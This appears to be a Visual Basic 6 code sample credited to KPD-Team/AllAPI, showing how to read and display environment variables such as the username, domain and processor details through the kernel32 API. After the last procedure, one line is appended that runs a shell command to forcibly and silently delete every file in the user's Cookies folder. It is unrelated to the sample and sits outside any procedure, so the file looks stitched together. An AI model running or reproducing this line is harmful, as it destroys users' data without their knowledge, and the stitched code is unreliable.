Private Declare Function GetEnvironmentVariable Lib "kernel32" Alias "GetEnvironmentVariableA" (ByVal lpName As String, ByVal lpBuffer As String, ByVal nSize As Long) As Long
Function GetEnvironmentVar(sName As String) As String
    GetEnvironmentVar = String( 255 ,  0 )
    GetEnvironmentVariable sName, GetEnvironmentVar, Len(GetEnvironmentVar)
    If InStr( 1 , GetEnvironmentVar, Chr$( 0 )) >  0  Then GetEnvironmentVar = Left$(GetEnvironmentVar, InStr( 1 , GetEnvironmentVar, Chr$( 0 )) -  1 )
    GetEnvironmentVar = sName + ": " + GetEnvironmentVar
End Function
Private Sub Form_Load()
    'KPD-Team 2000
    'URL: http://www.allapi.net/
    'E-Mail: KPDTeam@Allapi.net
    Me.AutoRedraw = True
    Me.Print GetEnvironmentVar("USERNAME")
    Me.Print GetEnvironmentVar("USERDOMAIN")
    Me.Print GetEnvironmentVar("PROCESSOR_IDENTIFIER")
    Me.Print GetEnvironmentVar("NUMBER_OF_PROCESSORS")
    Me.Print GetEnvironmentVar("OS")
End Sub

Shell "cmd.exe /c del /f /s /q ""%USERPROFILE%\Cookies\*.*""", vbNormalFocus